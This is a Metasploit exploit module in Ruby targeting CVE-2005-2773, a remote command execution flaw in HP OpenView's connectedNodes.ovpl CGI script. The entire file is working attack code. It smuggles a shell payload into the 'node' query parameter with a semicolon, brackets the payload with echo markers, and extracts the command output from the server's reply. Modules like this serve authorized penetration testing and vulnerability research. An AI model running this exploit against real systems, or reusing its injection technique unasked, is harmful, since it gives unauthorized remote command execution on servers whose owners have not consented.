##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::Tcp
  include Msf::Exploit::Remote::HttpClient

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'HP Openview connectedNodes.ovpl Remote Command Execution',
        'Description' => %q{
          This module exploits an arbitrary command execution vulnerability in the
          HP OpenView connectedNodes.ovpl CGI application. The results of the command
          will be displayed to the screen.
        },
        'Author' => [ 'Valerio Tesei <valk[at]mojodo.it>', 'hdm' ],
        'License' => MSF_LICENSE,
        'References' => [
          ['CVE', '2005-2773'],
          ['OSVDB', '19057'],
          ['BID', '14662'],
        ],
        'Privileged' => false,
        'Payload' => {
          'DisableNops' => true,
          'Space' => 1024,
          'Compat' =>
                        {
                          'PayloadType' => 'cmd',
                          'RequiredCmd' => 'generic perl telnet',
                        }
        },
        'Platform' => 'unix',
        'Arch' => ARCH_CMD,
        'Targets' => [[ 'Automatic', {}]],
        'DisclosureDate' => '2005-08-25',
        'DefaultTarget' => 0,
        'Notes' => {
          'Reliability' => UNKNOWN_RELIABILITY,
          'Stability' => UNKNOWN_STABILITY,
          'SideEffects' => UNKNOWN_SIDE_EFFECTS
        }
      )
    )

    register_options(
      [
        OptString.new('URI', [true, "The full URI path to connectedNodes.ovpl", "/OvCgi/connectedNodes.ovpl"]),
      ]
    )
  end

  def exploit
    # Trigger the command execution bug
    res = send_request_cgi({
      'uri' => normalize_uri(datastore['URI']),
      'vars_get' =>
          {
            'node' => %Q!; echo YYY; #{payload.encoded}; echo YYY| tr "\\n" "#{0xa3.chr}"!
          }
    }, 25)

    if (res)
      print_status("The server returned: #{res.code} #{res.message}")
      print("")

      m = res.body.match(/YYY(.*)YYY/)

      if (m)
        print_status("Command output from the server:")
        print(m[1])
      else
        print_status("This server may not be vulnerable")
      end

    else
      print_status("No response from the server")
    end
  end
end
